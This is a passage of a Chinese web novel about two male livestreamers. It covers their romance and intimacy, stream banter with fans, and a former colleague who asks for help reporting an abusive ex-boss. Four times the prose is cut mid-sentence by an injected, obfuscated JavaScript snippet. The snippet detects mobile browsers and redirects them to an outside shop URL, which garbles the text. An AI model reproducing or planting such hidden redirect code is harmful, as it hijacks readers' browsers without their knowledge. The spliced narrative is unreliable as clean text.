皇子捂脸,低声道:“多学点知识吧,天天在直播间口嗨,结果现实当中什么也不懂。” 闵谌睡醒时已是黄昏,他迷迷糊糊爬起来,套了件上衣,一条短裤,光着脚走出卧室。 完全没注意到自己脖子上腿上,斑斑点点的吻痕和牙印,眼睛还没睁开人就凭着感觉走到客厅门口站着。 黏黏糊糊喊了声“哥”。 李竹给出锅的菜装盘,闻言扭头看他,“怎么这样就出来了,鞋也不穿。” 闵谌低头看着自己,扣了扣大腿上的牙印,“家里又没人......” 哐当。 闵谌转身,与四人来了个大眼瞪小眼。 噗噗嘴上叼着一半西瓜,另一半掉在地上,“......” 假人保持着屁股离坐垫的姿势,遥控器在他手中摇摇欲坠,“......” 西瓜皮整个人坐在地上,一脸正经地看着他,“......” 皇子沉默地闭上眼。 闵谌:“......” 空气突然安静,仿佛被按下了暂停键。 一秒、两秒、三秒......闵谌的脸红仅需短短三秒,从脖子到脸通红一片。 噗噗捂着眼睛,“我没看见。” 假人跟着摇头:“我们都没看见。” 闵谌嘴里嘀咕了什么,扯着衣服盖住脸噔噔噔跑回卧室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483942|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 自己满身痕迹,出去见人,李竹也不知道提醒一下他。 他在枕头底下摸出手机,上有一条未读消息,是老雀发来的。 自从上次加上联系方式,这人就没给他发过消息,今天却突然发来一条。。 他点进去。 [老雀:闵谌,有空吗?] [老雀:这么久了,出来聚一聚,增进一下感情。] 闵谌想他们俩有什么感情可增进的。 当初公会突然解散,他什么都没拿到,老板凭空消失,老雀也跟着消失了,现在突然出现他很难不怀疑这里面藏着什么陷阱等着他去踩。 他在键盘上敲敲打打,打了一长串的话,最后只发了几个字。 [超绝声线:最近没空,有空再聚吧?] 老雀那边消息回的很快,仿佛一直盯着手机不放。 [老雀:怎么?混好了不跟老同事联系了啊?] [超绝声线:没有,明天吧,今天家里有客人。] [老雀:行,明天我找好地点给你发消息。] [超绝声线:好。] 因为被老雀的消息打岔,他忘了刚刚的尴尬,换了身长袖长裤,路过衣柜上的镜子时,脸色苍白。 李竹已经做好饭菜,就等他出来吃饭了,刚放好碗筷,一个转身,差点跟闵谌撞上。 李竹捏捏闵谌的脸,“怎么不看路,撞摔了怎么办?” 闵谌“啊”了声,“不好意思。” 李竹蹙眉,“什么?” “刚刚撞到你了。” 李竹看了他一会,什么也没说,“没事,坐着先吃饭吧。” 一顿饭吃的沉默,没人敢出声,因为李竹周身散发着低气压,闵谌这边也不在状态。 噗噗话多的人都不敢吭声。 吃饭时间结束,噗噗几人拴紧裤腰带前脚贴后脚地跑了,跑慢点下一秒可能会被李竹暗杀。 人刚走完,闵谌就被李竹抓回卧室压着。 闵谌求饶:“哥,哥,我错了。” 李竹把裤子褪到一半,“如果你不告诉我发生了什么,今晚咱别睡了,生个孩子怎么样?” 闵谌感受到什么,眼里的泪水像掉了线的珠子似的滚落,滚烫的泪水烫得李竹心软了一片。 李竹俯身靠近他耳边,温声哄道:“告诉我。” 闵谌抽抽噎噎,“哥……” 这一声彻底叫软了李竹的心,但他的动作却一点也不软,“我在。” “我之前的同事……突然……找我…叫我出去…吃饭。”闵谌断断续续说着。 李竹闷哼,“那为什么今天是这个状态?” 闵谌把公司的事情经过全都说了出来,包括老雀是个什么样的人,跟前老板有什么关系通通如倒豆子一般说了出来。 “我其实不是很想跟他有任何关系。” 李竹道:“事出反常必有妖,明天我陪你去怎么样?” 闵谌“呃”了声,“好,哥明天要一直在我身边好不好?” 李竹摸着他脸颊,低声道:“好,哥会一直在。” 顿了顿动作幅度加大,“叫声好听的。” 闵谌仰头表情痛苦,“哥哥。” “换一个。” “老公……” 到最后急眼了,闵谌一口咬在李竹的花臂上。 32. 第 32 章 李竹发了条视频动态。 照片上是墨色荆棘与一口整齐鲜红的牙印,那是昨晚疯狂时留下的。 起床第一件事帮闵谌清理,昨晚疯狂到很晚,闵谌累得不想动,他自己也不想动,万一真能生呢,万一闵谌身体器官特别呢,新闻上也不是没有报道过男人生孩子。 闵谌睡眼惺忪地抬头看了他一眼,又继续睡,心安理得地任李竹摆布。 清理完,李竹洗了个澡就开播了。 昨天没跟粉丝报备不直播的事,现在一开播直播间涌入一堆人,弹幕一条条在眼前飞过。 [你飘了是吧?] [请阐述你昨天为什么不直播。] [你不仅不直播,花儿也不知道。] [六夜竹我求你了,把花儿还给我们。] [我有分离焦虑症,5000字的事情经过记得写来安慰我。] 李竹放了首歌,扭头看了眼身后,压低声音解释:“昨天跟噗噗他们一块儿吃饭呢,没直播忘说了,亏欠你们。” 说完转移话题道:“我刚发的视频你们看了没,没看去点赞评论转发。” [看了,我的评价是帅。] [你这纹身贴不洗啊?] [盲猜那牙印是花儿的。/狗头] [我就说早起的cp粉有饭吃吧。] 李竹挑着弹幕回答:“不是纹身贴,当天纹的。除了我媳妇儿谁敢咬我,我一个大逼兜奖励不死他。” “兄弟们,今天晚点还歌。” [????] [拖几天了。] [行,你今天想整啥节目。] 李竹:“花儿还在睡。今天没啥节目。” 刚说完他被苏影邀请连麦。 点下同意,单人画面变成双人画面。 苏影属于名门女厅。 名门有男厅女厅,一个厅上限20来个人,人满之后就另开新厅,特殊情况导致新厅被迫关闭时,一个厅人数会增加到50人,有时候扣排也会男女厅混排,俗称串门。 女厅与男厅有各自的称呼方式,女厅叫表妹,男厅叫表哥,不管年龄大小的,从事娱乐行业大家互相称兄道弟。 “哈喽啊,表哥。”苏影热情打招呼,虚拟皮套的头一点一点的。 “哈喽啊,表妹。”李竹学她。 苏影笑了几声,“玩一局吗?” “行,玩什么?” “你们一般玩什么。” “我们一般玩奖励局和卷哥局,唱歌的话我现在不太方便。”说着李竹转头看了眼身后。 闵谌还没醒。 苏影道:“那就奖励局呗。” 李竹点头答应。 苏影那边开了把五分钟的pk时间,李竹闭听筒闭麦,突然想到什么,跟直播间粉丝道:“等会啊,给你们看个东西。” [?] [打pk你不拉票你干啥?] [你想干啥?] [什么东西拉票还重要?] 直播间粉丝们说归说,完全不管他,自己掏腰包刷礼服,管理也在弹幕上疯狂拉票。 [管理:别管他,加成了宝宝们,有啥掏啥。] 直播间礼物一个接一个,跟不要钱似的,礼物特效还未结束,另一个特效就挤了上来。 下一秒,直播间出现一个白毛2D虚拟皮套,头上别着一个粉红色发卡,一身运动休闲装,眼睛一眨一眨地看着直播间。 直播间弹幕一堆问号飘过。 [管理累死累活的帮你拉票,你把你媳妇儿拉出来玩。] [六夜竹你要死啊你,打pk呢,你在干啥?!] [建议蓝海管理直接将此人直播间封禁,谢谢。] [媳妇儿的皮套哪有拉票好玩。] 李竹玩了一会闵谌的皮套,点点头晃晃脑,直播伴侣表情很多,比如脸红,脸颊就会出现两坨粉红色;哭泣,眼眶就会泛红,眼泪跟断线的珠子一般往下掉,这小表情把他自己看得心都软了。 他清了清嗓子咳了声,把虚拟皮套换回来,“换回来换回来,兄弟们加成了,过过加成任务。” 此时,pk时间只剩下30秒,加成早就过了,两人票数相差500分,在李竹一通瞎喊中惜败。 pk失败。 李竹谢榜,谢了半分钟,“谢谢管理啊,还帮我拉票,怪热情的。” [管理:你谢你雷霆的管理,玩你媳妇儿皮套玩开心了吧,跟表妹打pk一点样子也没有,我真想狠狠教育你了。] 李竹咂巴咂巴嘴,“让你骂两句得了,给点面子。” [管理:呵呵哒。] 李竹打开听筒麦克风,“来吧,罚我什么?” 苏影佯装思考,少顷道:“那就对我表白一分钟吧。” 弹幕: [?] [表妹别搞。] [我们倒是无所谓,就怕表妹被黑子冲。] [别被带节奏了。] 李竹疯狂拒绝,“别搞别搞,这个不行,换一个,换一个。” 苏影闻言语气有些失落,“那行吧,那跟你喜欢的人来个撒娇八连。” “他这会还没醒呢。” “那你往里面加上他的爱称。” “行。” 李竹哼哼几声,放了一首可爱的bgm,把自己的声音放小,靠近麦克风小声道:“好不好嘛~花儿,花儿最好啦~,花儿行不行呀~,花儿求求你啦~,花儿拜托拜托~,爱你哟花儿~花儿我不管嘛~花儿人家就要嘛~” 说完直播间粉丝还没反应过来,他自己先不好意思上了,整个人扭成麻花,“哎哟天,好了好了,就这样就这样,别二创啊,我怕丢脸。” 直播间弹幕一堆“哎哟我”。 [哎哟我,第一次见。] [哎哟我,六夜竹也有今天。] [哎哟我,这是哪位新人。] [哎哟我,这不是直男六夜竹吗。] [哎哟我,你也化成小奶瓶了,六夜竹。] 李竹搓搓脸,“表妹啊,哥走了,这边准备下播了。” 苏影声音听不出喜乐,“好。” 李竹退出连线,嘴巴跟打快板似的道:“下播了,再见兄弟们。” 话音刚落,直播间瞬间黑屏。 [?] [你加特林啊?] [说得什么玩意儿。] [你还打上快板了。] [史上下播最快的主播。] 刚下播李竹便收到了苏影的微信消息。 [苏影:竹哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483943|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你真跟花儿在一起了啊?/哭笑] [苏影:我还以为你们是搭档呢。/捂脸笑] 李竹盯着微信消息。 难道他看起来像直男么? [麻瓜:我早之前说过的,你不知道?] [苏影:我以为炒cp呢,祝幸福哥。/捂脸哭笑] 李竹回了句“谢谢”把手机丢一边,关掉电脑一把掀开被子钻进被窝里,大手一伸将闵谌揽进怀里,低头在人脖颈间蹭了蹭。 温热的呼吸扫过闵谌白皙的脖颈,带着他独有的清冽气息,闵谌被蹭得脖颈发痒,忍不住缩了缩脖子,哼哼唧唧往他怀里钻,脸颊紧紧贴在他温热的胸膛,听着他沉稳有力的心跳。 李竹被他这幅依赖的模样逗得心头发软,收紧双臂将人牢牢圈在怀里,低头在他柔软的脸颊上黏黏糊糊亲了好几口,从额角,鼻子,嘴角通通落下密密麻麻的吻。 闵谌瑟缩了下。 “躲什么?”李竹轻笑一声,手指勾了一下他脸蛋说:“刚还往我怀里钻,这会儿还害羞上了?” 闵谌脸颊被他亲的发烫,伸手环住他脖子,头埋在肩窝,闷闷道:“别说我了。” 李竹连“好”几声,抬手在他屁股上不重不轻地拍了下,“起床吧,看看待会儿什么安排。” “好。” 李竹又在闵谌屁股上拍了下,闵谌抬脚要踹人,他立马掀起被子,架着枪,光着脚溜出卧室。 “李竹!”闵谌躺在床上仰着脖子喊。 “诶!”李竹以同样的音量回道。 闵谌无言:“……” 有时候他真的对李竹一点脾气也没有,他属于那种被人骂了会讲道理,被吼了就会毛茸茸地掉着小珍珠离开的人。 不过李竹把他照顾得很好,没受过任何憋屈,他受委屈,李竹就会带着直播间1万个兄弟姐妹们一脚踹进他的直播间,帮他撑场子。 有仇基本上当场报,不会留到隔夜。 这种安全感是李竹给予的。 穿好衣服去洗漱,站在镜子前刷牙,然后胡乱往脸上搓了一通,放在床上的手机响了,是电话铃声。 擦干脸去看手机,是老雀打来的微信电话。 总在心情很好的时候被破坏,他看着来电人没动作,直到电话自动挂断后他才去给手机解锁。 几秒后,老雀发来消息,是一家饭店的定位。 [老雀:咱们去这吧,听说这里的东西很好吃。] 闵谌等了一分钟才回。 [超绝声线:刚刚在洗澡,没听到。] [超绝声线:可以,几点?] [老雀:现在吧,我还没吃东西,顺便点点东西吃。] [超绝声线:ok。] 回完消息他拿着手机穿着拖鞋噔噔噔跑去找李竹,李竹正在厨房热牛奶。 “哥,咱们出去吃吧?” 李竹一听就知道是那个什么老雀发消息了,“可以,地址给我看看。” 他伸手,闵谌把手机递给他。 大致看了眼,在心里翻了个白眼,心里腹诽:这人还挺着急,饿得前胸贴后背了吧。 他把手机还给闵谌,脱掉身上的粉色围裙,“我去换身衣服,洗漱一下再出门。” 闵谌抱着手机点头:“好。” 33. 第 33 章 两人收拾好出门,按照老雀发来的定位,兜兜转转绕了一大圈,才找到那家饭店。 是一家开在小巷子里的饭店,看起来比较高档,装修方面一看就很贵,连李竹走进去那一刻都愣了一下。 他退出去看了眼门头,又走进来,稀奇道:“现在还有高档饭店开在犄角旮旯呢?” 闵谌抬头四处巡视一圈,“哥,你也觉得很高档吗?” 李竹揉了一把他的脑袋,“再贵哥也付得起,养活你都不成问题。” 闵谌笑了笑,没说话。 他正准备低头给老雀发消息,靠近角落的位置上,一个戴着口罩、浑身穿着仿佛是用皮布拼接在一起的衣服,头上还戴了顶帽子的男人冲他们招手。 李竹看过去,从鼻子里哼了声,“戴着口罩也能认出来,看来没少在直播间蹲你啊,花儿。” 闵谌皱了皱眉,低声道:“不知道,我只希望他不要整什么幺蛾子。” 然而,不希望的往往是会自己找上门的。他们刚坐下,老雀就迫不及待地为他们倒水,殷勤得好似微信上聊天那人跟眼前这人不是同一个一般。 闵谌没动那杯水,直言道:“你找我是有什么事吗?” 老雀的动作顿了顿,发出一声不自然的笑,“你看你说的,我找你能有什么事儿,就想找你吃个饭。” 闵谌不喜欢对外人拐弯抹角,“不说我们回去了。” 说罢就要起身,老雀连忙伸手拦住他们,“别走别走……我确实有事求你。” 两人重新坐好。 “是这样的。”老雀双手攥紧衣袖,眼神闪过一丝挣扎,少顷他摘掉帽子和口罩,露出脸上大大小小的青紫,两人震惊地睁大眼。老雀叹了口气苦笑道:“我想请你帮忙,帮我举报丁礼,想必你也知道音合还没解散的时候,我和他的事大家人尽皆知,其实我是被逼的。” 闵谌蹙眉,他不是很相信老雀说的话,在他了解一些事以后,老雀跟丁礼就是臭味相投的一种人。 “你要我怎么相信你?” 老雀戴好口罩帽子,手指在桌面上有节奏地敲着,“我想想从什么时候说起吧,丁礼是个什么样的人,想必你也知道,以前音合刚有起色的时候来了位新人,那新人还是个小姑娘,被丁礼盯上以后三天两头骚扰人小姑娘,有次我路过碰见了,我永远记得那小姑娘的眼神,之后我实在看不下去了,帮她赔了违约金让她离开。我知道我人一般,所以大家都不爱跟我有任何交集,可是从那之后丁礼便开始盯上了我,我的噩梦开始了。” “丁礼私下里男女通吃,经常到夜总会去找那些陪酒的,不管是男是女。”老雀低下头,吸了吸鼻子继续哽咽开口:“直到有一天,丁礼突然跟我说,闵谌长得不错,让我去帮忙下药送到他床上,我不愿意,他就拿我撒气,再后来他看上我们公会很多同事,就来找我,我不答应就拿我撒气。” 说到这,老雀不明意味地笑了声,看了眼李竹又低下头,那只是短暂的一眼,“好在公司被人搞垮,公会解散了,我只是没想到丁礼还不肯放过我,把我抓回去继续折磨我,我身上这些都是他打的,至于我为什么出现在你们面前,是因为我逃出来了。” 闵谌指尖不自觉攥紧,指尖被他攥得泛白,心底里翻涌的恶寒蔓延至四肢百骸,他从前只当他们高层人圈子的龌龊事见怪不怪,却从没想过丁礼手段卑劣到这个地步。 他抬眼看向老雀,分明戴着口罩帽子,只露出一双布满红血丝的眼睛。 “下药?”闵谌声音沉得厉害。 老雀重重点头,肩膀控制不住地颤抖,带着哭腔道:“对,但我没下手,我要是真做了,现在也没脸坐在你面前求你帮我了。” 一旁的李竹脸色冷得像个冰雕,他本就对老雀没什么好感,此刻看着他脸上遮不住的伤痕,周身的气压低得吓人。 他伸手拍了拍闵谌的后背,无声地安抚着他,随即看向老雀:“你说的这些,有证据吗?空口无凭,就算我们想帮你,也没办法轻易举报丁礼。” 老雀闻言慌张地拍着桌子,引得周围客人纷纷侧目。 他压低声音激动道:“我有!我要出来的时候偷偷藏了录音,还有我身上的伤,这些都是证据!之前威胁我,打我的时候我都要悄悄录音,里面还有他骚扰其他同事,逼迫我做那些肮脏事的对话!” 他说着,手忙脚乱地想去掏手机,动作太过急切,差点碰倒桌上的水杯。 前台服务员眼神时不时往他们这边瞟,几次上前询问都被以“没事”为由劝退。 闵谌拦住老雀:“你先冷静,丁礼现在在哪?你逃出来,他会不会很快找到你?” “我不清楚,我是趁他手下不注意的时候逃出来的,还特意绕了很多远路,才选了这么个隐蔽的地方和你们见面。”老雀眼神满是哀求:“闵谌,花儿,我知道我以前不是什么好人,做过很多惹人厌烦的事,我不在乎你对我的看法,我只求你能帮我把丁礼绳之以法,他就是个彻头彻尾的疯子。” 闵谌沉默,心里陷入纠结。 他不是不相信老雀,只是这件事情牵扯的太大,丁礼为人阴险狡诈,像条狡猾的泥鳅,就算有证据,也未必抓得到他。 公会解散后丁礼就跟人间蒸发了似的,谁也联系不上,就连老雀也跟着消失,现在突然出现,在他面前诉说着自己的遭遇。 李竹温热的大手有一下没一下地在他后背上安抚着,对老雀道:“这件事我们可以帮你,你得把证据交给我们,后面我派人给你安排住处保护你的安全,你要是敢在背后使阴招,我保证你下半辈子活得像路边一条狗。” 最后那几个字李竹咬得很重,带着警告的意味。 老雀忙不迭点头,拿出手机把所有证据都传到闵谌手机后把手机卡拔掉,将手机塞给他们,竖起三根手指举在耳边,“我发誓,我保证,不会做出任何对你们有害的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483944|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李竹收起老雀的手机,牵起闵谌的手,手指在桌面上点了点,“在这儿等着,我去打个电话。” 说完他牵着闵谌走到饭店门口。 闵谌发出疑惑:,“哥,不怕他跑了吗?” 李竹:“怕个屁,现在咱们就是他的救命稻草,比起他会跑,我更不放心你跟他待在一块儿。” 闵谌抬眼跟他对视。 李竹眉眼深邃,眼睛本就是单眼皮,看人的时候自带一股疏离的冷漠感,可此刻,那双仿若深潭的眸子里,温柔几乎要漫出来,沉甸甸地裹着他,将刚才听了老雀那番话后,他心底翻涌的寒意与烦躁,一点点压了下去。 闵谌心头一暖,指尖不自觉地蜷了蜷,反手握紧了李竹的手,掌心相贴,能清晰感受到对方掌心的温度。 他垂了垂眼,长长的睫毛在眼下投出一小片阴影,“哥,有你在,我一点也不害怕。” 李竹心头一软,抬手轻轻摩挲了一下他的发顶,动作温柔得不像话,与刚才对着老雀时那副模样判若两人。 “在这儿等我两分钟,别乱跑,也别跟里面那个人单独说话,我很快回来。”他压低声音叮嘱,眼神里满是不放心,目光在闵谌脸上仔细打量了一圈,确认他没被刚才的事吓到,才缓缓松开手。 临走前李竹回头往饭店里瞥了眼,老雀被他看得一哆嗦,连忙低下头缩在座位上,双手紧紧攥紧衣摆。 李竹的视线在老雀身上停留片刻后移开,他转身走到巷子拐角,拿出手机拨通了电话,声音低沉迅速,“喂,是我,立刻派人到城西老巷这家私房菜来,我这儿有个人需要你们24小时派人盯着,确保他的安全,也要防止他搞小动作。我手里有关丁礼的证据,到时候交给你们,你们整理好,提交给警察,后续需要什么可随时联系。” 电话那头迅速应下,李竹又交代了几句细节,字字句句都考虑周全,以防有什么疏漏,挂了电话后立马转回闵谌身边。 李竹领着闵谌正打算推门进饭店,兜里的电话响了。 李竹轻“啧”一声,拿出手机按下接听贴在耳边,“喂。” 陈嘉炽怒吼:“你大爷的李竹!那是老子的人!别把我的律师团和保镖们当成□□!我去你二舅姥爷的帆布鞋。” “你要是当正义男人不舒坦你就滚去脚盆鸡当□□去!”陈嘉炽嘴巴跟安装加特林似的朝着李竹一顿输出,一点回嘴的机会也不给,“天天在大街上晃悠骚扰人小姑娘,一句八嘎征服脚盆鸡去吧!你个21世纪的阔少二五仔!” “her——tui!” 骂完陈嘉炽舒畅地“啪叽”挂掉电话,任由二人愣在原地。 李竹:“……” 闵谌:“……阔少二五仔……是谁……?” 李竹咳了声,轻轻推着他后腰进饭店,掩饰道:“谁也不是,别瞎打听,乖乖做你的被肯定。” “被肯定是什么?” 闵谌发出真诚的疑问。 34. 第 34 章 李竹一通瞎扯,什么你做什么都会被肯定,我说夸奖你的也会被肯定。这要把真实原因说出来,闵谌不得吓得缩进壳里待好几天才出来。 三人坐在饭馆随便点了几道菜填肚子,这里菜单价格可不便宜,一道菜三千打底,除了水,水七块钱无限续杯。 李竹翻白眼小声吐槽:“七块钱无限续杯的白开水,咱家自来水一个月二十来块,能喝能洗,来这饭店吃一顿就这水喝得了呗。” 闵谌捅了捅他腰,嘴上保持微笑,声音从嗓子眼发出来,“哥,别说了,服务员看咱们呢。” 李竹一听抽了张纸假模假样擦嘴然后微笑点头。 服务员一脸顾客就是上帝的笑容向他们走来,“几位先森,我能为你们做点什么呢?” “不需要,刚刚看你漂亮跟你打个招呼。”李竹睁着眼睛说瞎话,眼前这位男性服务员口罩兜在下巴上,鼻尖一颗大痘,他拉着闵谌硬要给人家介绍,“这是我对象,人帅好说话,哦,我没有喜欢你的意思。” 闵谌抱歉哼了两声:“……哈哈。” 不好意思,他对象脑子时好时坏的。 老雀缩在对面像只鹌鹑默默吃饭,听到李竹一番言论后呛咳出声:“咳咳咳——咳咳。” 服务员那张大脸蛋凑近老雀,顺手在一旁抽出张纸递给他,礼貌询问道:“先森,你没四吧?” 老雀咳得更加猛烈,咳得整张脸涨红,他一把夺过服务员手中的餐巾纸捂住嘴边咳边摆手道:“咳咳……没事……咳咳咳…” “先森……” 这一句先森出来老雀嘴里的饭菜喷了出来,李竹和闵谌齐齐往后挪,躲过一顿天降口水饭菜。 然而服务员没能躲过,被喷了满脸。 服务员:“……” 老雀抬手遮住自己脸上的伤,不想让别人看见自己这副样子,慌忙道歉,“对不起对不起,我不是故意的…” 服务员依旧保持顾客就是上帝的微笑,“没关系,先森们继续七饭吧,我寄几去收西一下。” 闵谌默默地闭上眼。 李竹上下唇紧抿拉长人中假装自己很忙,抬头看天花板看盘子里的菜看窗外的风景,就是不看服务员。 但凡他要是笑一声,之前给老雀的压迫感就白给了,他一定要保持住,祈祷服务员和老雀不要再整任何节目了,真有些憋不住。 估计是两人听到李竹的心声了,后续没再出什么节目,直到三个黑衣人进入饭店,一眼就看到了他们。 李竹把老雀的手机和得到的线索交给领头的黑衣人。领头的是个身穿西装、身高一米八几、戴着耳麦、头发梳得干净利落的男人,叫程濯。 程濯带着手套的手将老雀的手机用手帕包裹起来放进口袋里,眉头微皱,看向老雀的表情略微嫌弃。 “李少爷,人我们就带走了。”程濯公事公办道。 李竹点头,“后续流程需要我们出面,电话联系。” 程濯:“好的。” 话落,他大手轻轻一挥,身后两名黑衣人架起老雀离开。 桌上这些饭菜只怕沾染了老雀的口水,两人选择没再动筷,付款走人,路上开车去了菜市场买了点食材,打算晚上自己做着吃。 李竹也许久没做饭了,还怪想念那味道的。 闵谌不馋别的,就馋李竹的厨艺…… 回到家两人收到播游戏的同意申请,前段时间直播间有粉丝说想看他们一起打游戏,两人下播后找陈嘉炽申请,这货严格要求他们二人做什么都需要向老板申请,管理那边不再管这两人。 陈嘉炽最近忙着谈恋爱,哪有什么时间管公司,有时间开播跟付岁打游戏,实则是水有效时长,到点秒下播不带一丝犹豫。 李竹在厨房忙活凉菜,看了眼手机喊道:“今个晚上直播游戏吗?” 闵谌嘴里叼着李竹买的牛肉干走到厨房门口,坐在墙边的小凳上道:“可以播,哥想玩什么游戏?” “我最近发现有款游戏挺好玩的。” “叫什么我搜一下。” “忘了,弄完我看一下,好像是灵异游戏。” “应该会很刺激,晚上玩玩呗。” “成。”李竹转身拿调料,看到他嘴里的牛肉干二话不说走到他面前。 闵谌抬头,咬着牛肉干含含糊糊道:“怎么了?” 李竹一个弯腰俯身,抢走整根牛肉干,“这牛肉干在哪买的?挺好吃,下次多买几袋回来看剧的时候可以吃。” 闵谌看了眼手中的包装袋,脑子里努力回想,“应该是在楼下超市买的,我最近嘴馋,想着买回来解馋的。” 李竹点点头,突然闻到锅里的油香味,想来油热好了,他连忙对闵谌摆手,“去,去沙发上坐着去,别在这,待会熏你一身味儿。” 闵谌笑弯双眼,起身踩着拖鞋回到沙发上坐着。 等李竹弄完夏日零食出来,闵谌已经在沙发上睡着了,T恤衣摆被掀起来,露出白皙的肚子,走近了还能看到靠近胯骨边上有着已经变淡的不可说痕迹。 李竹在沙发旁,替他把衣摆拉下来遮住肚子,中国人睡觉可以不盖被子,但是肚脐眼必须盖住,不管用什么,但必须给肚脐眼盖住。 他小声又宠溺地揉了揉闵谌柔软的头发,“怎么这么喜欢睡觉呢。” 他小心翼翼地伸手穿过闵谌膝弯,另一只手穿过腋下把人抱起来,人在无力的时候是最重的,他却轻松地将人抱起,在心里评估对方的体重。 看来饭还是吃少了,以后得多逼闵谌吃饭。 把人抱回卧室床上,两人相拥而眠。 闵谌哼了声,身体胡乱一通蛄蛹,翻身又继续睡,丝毫没有醒来的迹象。 李竹低头一瞥,捏了捏闵谌柔软的脸蛋。 一个想法在脑中浮现,少顷他叹了口气,想想算了,闵谌这小身板承受不住,每次间歇性高强度运动要不得,先把人养白胖再说。 间歇性高强度运动是最累人的,给闵谌放几天假再抓起来运动,这段时间多投喂些大补汤,把人养的气色红润些。 为了闵谌身体健康,他还是得多为人着想 果然,晚上两人开播时,弹幕都在刷“注意身体”四个打字。 还有人控诉两人最近为什么不排档,想听唱歌都没地方听,只能每天刷二创。 李竹道:“我个人单曲循环播放了解一下。” 弹幕: [?你就这样对你真爱粉。] [每天都在看你俩cp二创睡觉。] [昨晚我刷到一个百万粉丝的主播举办音乐比赛,准备邀请你俩,可惜你俩没直播。] 李竹道:“知道了,有机会会参加。” 李竹在蓝海搜了下是哪位百万粉丝主播举办音乐比赛,几秒后跳出一个粉丝139.7万粉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483945|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播,叫老手。 这人他知道,不过是近年知道的,那会语音厅这一行正火,老手说是为了给语音厅主播们一个相互扶持的比赛,助力语音厅直播走得更远,踏上更大的舞台让更多的人发现语音厅直播。 说句不好听的,其实就是想着蹭语音厅的流,从中抽取礼物分成,十分之四给主播,剩下的他自己揣入口袋。 大家都是靠着网络吃一口饭,这种事见怪不怪,分到流拿到礼物抽成,两边也不吃亏。 李竹点开早就下好的游戏道:“我们今晚玩游戏,跟花儿玩,我拉下他。” 闵谌刚进来就被拉进游戏里,游戏是一款双人游戏,目的是消灭鬼新郎拯救鬼新娘,两个道士都是男角色,以师兄弟相称。 李竹选了大师兄的角色,拿到道具三清铃桃木剑和罗盘,闵谌选择小师弟角色,学会五雷诀,技能是使用符纸。 准备开始进入第一章时,李竹这边弹出连线申请。 [老手申请加入直播连线。同意/拒绝] 李竹点下同意。 直播间两人的画面被分成了三宫格。 老手人长相偏凶狠,网友戏称可以排在怒目金刚身后当小弟,说话声音粗犷,除此之外,他那张嘴确实不怎么样。 李竹骂人偏阴阳怪气保守派,老手骂人属于难听型,人身攻击,加诅咒和户口本上没一个活口型,被平台封号也会开小号直播继续骂的那种程度。 老手一进来就道:“漂亮花你好,竹啊,好久不见。” 闵谌:“老师好。” 李竹:“手啊,确实好久不见。” 老手:“你俩干啥呢?” 李竹:“准备直播打游戏呢,看上我俩了?” 老手大笑几声,“可不嘛,邀请你俩唱歌比赛,来不来?” 李竹:“不验货?到时候被串子说内幕,我内心脆弱,扛不住有人骂我。” 老手隔着屏幕指了指李竹,“你小子,来吧,你俩一人展示一手,让我直播间粉丝见识一下你俩的厉害。” 李竹道:“花儿先来吧,让你们见识见识内人的实力。” 弹幕: [不见识了,见识够了。] [每次一听花儿唱歌就起一身鸡皮疙瘩。] [选一首软点的,别展示才艺,我鸡皮疙瘩没地掉了。] 闵谌唱了首《阿苏拉则》。 伴奏一出直播间瞬间安静,这首歌前奏给人一种夕阳西下吹着暖风梦回美好时光的感觉。 青年带着少年般低哑的嗓音一出来,歌声便裹着山野里的风,调子婉转又带着原生的温柔。 李竹抱臂靠着椅子,眼睛透过虚拟皮套落在闵谌虚拟皮套身上,眼神全程粘在他身上,手指跟着音乐轻慢的调子敲击桌面。 一曲结束,隔了几秒,弹幕更疯了似的涌上来。 老手一拍大腿,对着镜头“啧啧”称赞,“瞧见没瞧见没?我就说竹的人是个人物,我弹幕都炸了。” 弹幕: [卧槽,梦回我动漫top1。] [卧槽!我哭死!] 